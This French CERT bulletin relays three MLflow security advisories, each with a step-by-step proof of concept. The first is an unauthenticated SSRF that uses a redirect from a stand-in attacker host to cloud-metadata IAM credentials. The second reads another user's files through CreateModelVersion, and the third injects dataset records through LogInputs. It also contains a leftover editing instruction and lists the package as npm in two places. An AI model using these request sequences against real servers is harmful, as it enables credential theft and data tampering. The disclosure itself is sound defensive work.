Ce mail provient de l'extérieur, restons vigilants ===================================================================== CERT-Renater Note d'Information No. 2026/VULN851 _____________________________________________________________________ DATE : 19/08/2026 HARDWARE PLATFORM(S): / OPERATING SYSTEM(S): Systems running mlflow (pip). ===================================================================== https://github.com/mlflow/mlflow/security/advisories/GHSA-7gwp-5pfp-969j https://github.com/mlflow/mlflow/security/advisories/GHSA-gqch-g4w5-7qcw https://github.com/mlflow/mlflow/security/advisories/GHSA-3p64-6gvh-82v5 _____________________________________________________________________ Unauthenticated full-read SSRF in MLflow webhook delivery: _validate_webhook_url bypassed via unvalidated HTTP redirects (and DNS rebinding) Critical PattaraS published GHSA-7gwp-5pfp-969j Package mlflow (pip) Affected versions <= 3.13.0 Patched versions no Description Summary The default MLflow Tracking Server (mlflow server, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous POST /api/2.0/mlflow/webhooks/{id}/test endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (_validate_webhook_url, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no allow_redirects=False) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns 302 Location: http://169.254.169.254/... (or http://127.0.0.1:...); MLflow follows it and never re-validates the redirect target. Because /test reflects the response body, this is an unauthenticated full-read SSRF on a default server. Details Three facts combine: Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (mlflow/server/auth/__init__.py, WEBHOOK_BEFORE_REQUEST_HANDLERS), which is not loaded by default. The guard validates but pins nothing — mlflow/utils/validation.py _validate_webhook_url: schemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get() # default ["https"] if parsed_url.scheme not in schemes: raise ... if not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get(): # default False for addr_info in socket.getaddrinfo(hostname, None): ip = ipaddress.ip_address(addr_info[4][0]) if not ip.is_global: raise ... # blocks RFC1918/loopback/link-local/metadata The resolved IP is never carried into the connection. Delivery follows redirects and re-resolves with no pinning — mlflow/webhooks/delivery.py: def _create_webhook_session(): adapter = HTTPAdapter(max_retries=retry_strategy) # retry only; no IP pinning ... def _send_webhook_request(webhook, payload, event, session): _validate_webhook_url(webhook.url) # re-validates the ORIGINAL url only return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout) # no allow_redirects=False -> 302 followed; redirect Location never re-validated test_webhook returns response_status and response_body to the caller. Bypass vectors: Redirect-follow (reliable): attacker's allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it. DNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning. PoC All requests are unauthenticated, sent to the MLflow tracking server ({{TARGET}}). The SSRF fetch is performed by the MLflow server itself; the internal response is reflected back in the /test response. {{ATTACKER}} is a host the researcher controls that resolves to a public IP and serves HTTPS with a valid certificate, returning a 302 redirect to an internal target. Attacker redirect server (on {{ATTACKER}}, valid TLS cert): nginx: location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; } Step 0 — negative control (proves the guard is active; the naive internal URL is rejected): POST /api/2.0/mlflow/webhooks HTTP/1.1 Host: {{TARGET}} Content-Type: application/json {"name":"neg","url":"http://127.0.0.1:6379/","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]} -> 400 {"message":"Invalid webhook URL scheme: 'http'. Allowed schemes are: https."} (an https://127.0.0.1/ variant is likewise rejected as a non-public IP) image Step 1 — create a webhook pointing at the attacker's public HTTPS host (passes _validate_webhook_url): POST /api/2.0/mlflow/webhooks HTTP/1.1 Host: {{TARGET}} Content-Type: application/json {"name":"poc","url":"https://{{ATTACKER}}/innocent","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]} -> 200 {"webhook":{"webhook_id":"", ... ,"status":"ACTIVE"}} image Step 2 — fire it via the unauthenticated /test endpoint; the internal response body is returned: POST /api/2.0/mlflow/webhooks//test HTTP/1.1 Host: {{TARGET}} Content-Type: application/json {"webhook_id":"","event":{"entity":"REGISTERED_MODEL","action":"CREATED"}} -> 200 {"result":{"success":true,"response_status":200, "response_body":""}} image Confirmed live against mlflow==3.13.0 (default sqlite server). With the attacker host redirecting to a local secret service, Step 2 returned: "response_body":"INTERNAL_SECRET=mlflow_ssrf_proof_7f3a91\nrole=admin\n" Since I don't have a cloud deployment, I placed "my secret data" in the same location. image Notes: Webhook events enum values must be UPPERCASE proto names (REGISTERED_MODEL, CREATED); lowercase maps to ENTITY_UNSPECIFIED and 500s. Default allowed scheme is https only; the first hop must be https, the redirect Location may be http. Webhooks require a SQL store; the default mlflow server (sqlite:///mlflow.db) qualifies. No auth needed. Credit / independent discovery: Originally reported privately by @freeman-bb via this advisory on 2026-06-12. The same vulnerability was independently discovered through code review and reported publicly by @AUTHENSOR in issue #24179 on 2026-06-26. Fixed in PR #24258. Discovery priority belongs to @freeman-bb; @AUTHENSOR is credited as an independent finder. Impact An unauthenticated attacker who can reach the tracking server makes the server issue HTTP requests to arbitrary internal/loopback/cloud-metadata endpoints and reads the responses via /test: cloud instance-metadata (e.g. AWS IMDS IAM credentials), internal-only admin services behind the network boundary, and internal port/host scanning. The event-driven delivery path gives the same SSRF blindly; /test makes it full-read. This is an incomplete fix of the PR #20747 guard, confirmed present on the latest release (3.13.0) and on master. Not a duplicate of CVE-2025-14279 (browser-side rebinding CSRF, CWE-352). Fix Fixed in #24258 (commit ba94952247), which adds connection-time SSRF protection (SSRFProtectedHTTPAdapter): the peer IP of each connected socket is validated against public-IP rules immediately after connect(), before any TLS/HTTP exchange. This covers the redirect targets as well (each redirect opens a new connection through the protected pool), closing both the 302-read and 307/308-write variants and the DNS-rebinding TOCTOU. Redirect variants The same missing re-validation enables two distinct primitives depending on the redirect status code: 302 (read): the redirect target is fetched with GET and, because POST /api/2.0/mlflow/webhooks/{id}/test reflects the upstream response body (WebhookTestResult.response_body), the attacker reads arbitrary internal HTTP responses (cloud metadata, internal services). 307 / 308 (blind write): these preserve the original POST method and body, so the attacker can POST attacker-controlled payloads into private-network management endpoints that act on POST (e.g. Docker daemon /stop, Elasticsearch /_close, Spring Boot Actuator /shutdown). Neither requires authentication on a default OSS server. Then add a fix reference near the top or in a "Remediation" note: Severity Critical 9.3/ 10 CVSS v3 base metrics Attack vector Network Attack complexity Low Privileges required None User interaction None Scope Changed Confidentiality High Integrity Low Availability None CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N CVE ID CVE-2026-64849 Weaknesses Weakness CWE-918 Credits @freeman-bb freeman-bb Reporter @y011d4 y011d4 Finder @ibondarenko1 ibondarenko1 Finder @h1-mrz h1-mrz Finder @th3cyb3rc0p th3cyb3rc0p Finder _____________________________________________________________________ CreateModelVersion source validation does not check READ permission on referenced run_id High PattaraS published GHSA-gqch-g4w5-7qcw Package mlflow (npm) Affected versions v3.13.0 Patched versions None Description Summary The _validate_source_run and _validate_source_model functions in mlflow/server/handlers.py verify that a model version source path is within the artifact directory of a specified run or logged model, but do not check whether the caller has READ permission on that run or model. An authenticated MLflow user can therefore reference another user's run_id in CreateModelVersion, creating a model version whose artifact URI points at the victim's artifact directory. If the calling user has MANAGE permission on the registered model (which they do after creation), they can then read arbitrary files from the victim's artifact directory via GET /model-versions/get-artifact, bypassing the experiment-level READ permission gate on GET /get-artifact. Details POST /api/2.0/mlflow/model-versions/create is protected: the caller must have UPDATE permission on the registered model. However, the source/run_id validation performed inside _validate_source_run only verifies path containment, not caller authorization: # mlflow/server/handlers.py _validate_source_run() def _validate_source_run(source: str, run_id: str) -> None: if is_local_uri(source): if run_id: store = _get_tracking_store() run = store.get_run(run_id) # <-- no permission check on run_id source = pathlib.Path(local_file_uri_to_path(source)).resolve() if is_local_uri(run.info.artifact_uri): run_artifact_dir = pathlib.Path(...).resolve() if run_artifact_dir in [source, *source.parents]: return # validation passes raise MlflowException(...) After creation, the model version's source and run_id point at the victim's artifact directory. The caller can read files from that directory via the model version artifact handler, which derives the artifact path from the stored source: GET /model-versions/get-artifact?name=&version=&path= This bypass matters in deployments where experiment-level permissions are explicitly restricted -- i.e., where the default_permission is NO_PERMISSIONS or the target experiment has no grant for the attacker. Without the bypass, GET /get-artifact for the victim's run would return 403; via the model version artifact handler it returns 200. PoC Prerequisites: MLflow v3.13.0, --app-name basic-auth, default_permission=NO_PERMISSIONS (or alice's experiment restricted). Alice owns experiment 2 and run ALICE_RUN_ID. Bob owns experiment 4. Bob has READ on his own resources but NOT on alice's experiment. Alice uploads a private file: # file is at /mlruns/2/ALICE_RUN_ID/artifacts/secret_weights.txt echo "ALICE_SECRET_MODEL_WEIGHTS=0.42" > secret_weights.txt Bob directly tries to read alice's artifact -- blocked: GET /get-artifact?run_id=ALICE_RUN_ID&path=secret_weights.txt HTTP/1.1 Authorization: Basic Response: HTTP 403 (when alice's experiment is private) Bob creates a model version referencing alice's run_id as source anchor: POST /api/2.0/mlflow/model-versions/create HTTP/1.1 Authorization: Basic Content-Type: application/json {"name":"bob-model","source":"/mlruns/2/ALICE_RUN_ID/artifacts","run_id":"ALICE_RUN_ID"} Response: HTTP 200 {"model_version":{"name":"bob-model","version":"1","source":"/mlruns/2/ALICE_RUN_ID/artifacts","run_id":"ALICE_RUN_ID"}} Bob reads alice's private file via the model version artifact handler: GET /model-versions/get-artifact?name=bob-model&version=1&path=secret_weights.txt HTTP/1.1 Authorization: Basic Response: HTTP 200 -- body contains ALICE_SECRET_MODEL_WEIGHTS=0.42 Live-validated on v3.13.0 with default_permission=READ (the file download is confirmed 200 OK); impact escalates to a true bypass when default_permission=NO_PERMISSIONS. Impact An authenticated user who can create registered models can read arbitrary files from any other user's artifact directory, bypassing the experiment-level READ permission gate. Model weights, training data samples, and evaluation reports stored in a run's artifact directory are accessible. The attacker needs UPDATE (or MANAGE) permission on at least one registered model; with default_permission=READ, that is automatically granted to the model creator. Severity High 7.1/ 10 CVSS v3 base metrics Attack vector Network Attack complexity Low Privileges required Low User interaction None Scope Unchanged Confidentiality High Integrity Low Availability None CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N CVE ID CVE-2026-69148 Weaknesses Weakness CWE-862 Credits @geo-chen geo-chen Reporter _____________________________________________________________________ LogInputs endpoint bypasses per-run UPDATE authorization in MLflow basic-auth Moderate PattaraS published GHSA-3p64-6gvh-82v5 Package mlflow (npm) Affected versions v3.13.0 Patched versions None Description Summary When MLflow is deployed with the built-in basic-auth plugin (--app-name basic-auth), any authenticated user can inject arbitrary dataset records into another user's run by calling POST /api/2.0/mlflow/runs/log-inputs. The LogInputs proto handler is absent from the BEFORE_REQUEST_HANDLERS map in mlflow/server/auth/__init__.py, so the before-request hook skips authorization entirely and the request succeeds. Standard write endpoints on the same run -- such as POST /api/2.0/mlflow/runs/log-metric -- correctly return HTTP 403. Details MLflow's basic-auth app gates every HTTP handler through a before-request hook (_before_request) that looks up the relevant permission validator in BEFORE_REQUEST_VALIDATORS. Validators are built from the BEFORE_REQUEST_HANDLERS dictionary, which maps each protobuf request class to a callable. When a class is absent from the dict (or mapped to None), get_before_request_handler returns None, and the resulting entry in BEFORE_REQUEST_VALIDATORS is (path, method): None. Inside _before_request: # mlflow/server/auth/__init__.py _before_request() if validator := _find_validator(request): # None is falsy -- branch skipped if not validator(): return make_forbidden_response() elif _is_proxy_artifact_path(request.path): # not a proxy path ... # falls through: any authenticated request is allowed The LogInputs protobuf class is not present in BEFORE_REQUEST_HANDLERS: # mlflow/server/auth/__init__.py BEFORE_REQUEST_HANDLERS dict # LogInputs is absent; all run-write operations below ARE present: LogBatch: validate_can_update_run, LogMetric: validate_can_update_run, SetTag: validate_can_update_run, LogParam: validate_can_update_run, # LogInputs: The route /api/2.0/mlflow/runs/log-inputs (and the identical /ajax-api/ variant) therefore admits any valid credential, regardless of which experiment or run is targeted. The LogInputs handler writes DatasetInput records directly to the run's lineage table without any ownership check. PoC Prerequisites: MLflow v3.13.0 running with --app-name basic-auth. Two accounts: alice (creates experiment 2 and run A) and bob (creates experiment 4 and run B). Confirm the authorized endpoint correctly denies alice's write to bob's run: POST /api/2.0/mlflow/runs/log-metric HTTP/1.1 Authorization: Basic YWxpY2U6YWxpY2VfcGFzc3dvcmQxMjM= (alice:alice_password123) Content-Type: application/json {"run_id": "", "key": "test", "value": 1.0, "timestamp": 0, "step": 0} Response: HTTP 403 Permission denied Inject a dataset record into bob's run as alice: POST /api/2.0/mlflow/runs/log-inputs HTTP/1.1 Authorization: Basic YWxpY2U6YWxpY2VfcGFzc3dvcmQxMjM= (alice:alice_password123) Content-Type: application/json {"run_id": "", "datasets": [{"dataset": {"name": "ATTACKER_injected", "digest": "evil123", "profile": "attacker_controlled"}}]} Response: HTTP 200 {} Confirm injection persisted: GET /api/2.0/mlflow/runs/get?run_id= HTTP/1.1 Authorization: Basic Ym9iOmJvYl9wYXNzd29yZF9uZXcxMjM= (bob:bob_password_new123) Response: HTTP 200 -- dataset_inputs array contains {"name":"ATTACKER_injected","digest":"evil123","profile":"attacker_controlled"}. Impact Any authenticated MLflow user can corrupt the dataset lineage metadata of any other user's run. In ML compliance workflows, dataset provenance records are audit evidence for model reproducibility and regulatory review. Injecting fake or misleading dataset entries into a competitor's runs can silently invalidate audit trails, cause misattribution of model training data, or introduce confusion about which datasets were used to train a model. The attacker needs only a valid credential; no elevated permissions are required. Severity Moderate 6.5/ 10 CVSS v3 base metrics Attack vector Network Attack complexity Low Privileges required Low User interaction None Scope Unchanged Confidentiality None Integrity High Availability None CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N CVE ID CVE-2026-69146 Weaknesses Weakness CWE-862 Credits @geo-chen geo-chen Reporter ========================================================= + CERT-RENATER | tel : 01-53-94-20-44 + + 23/25 Rue Daviel | fax : 01-53-94-20-41 + + 75013 Paris | email:cert@support.renater.fr + =========================================================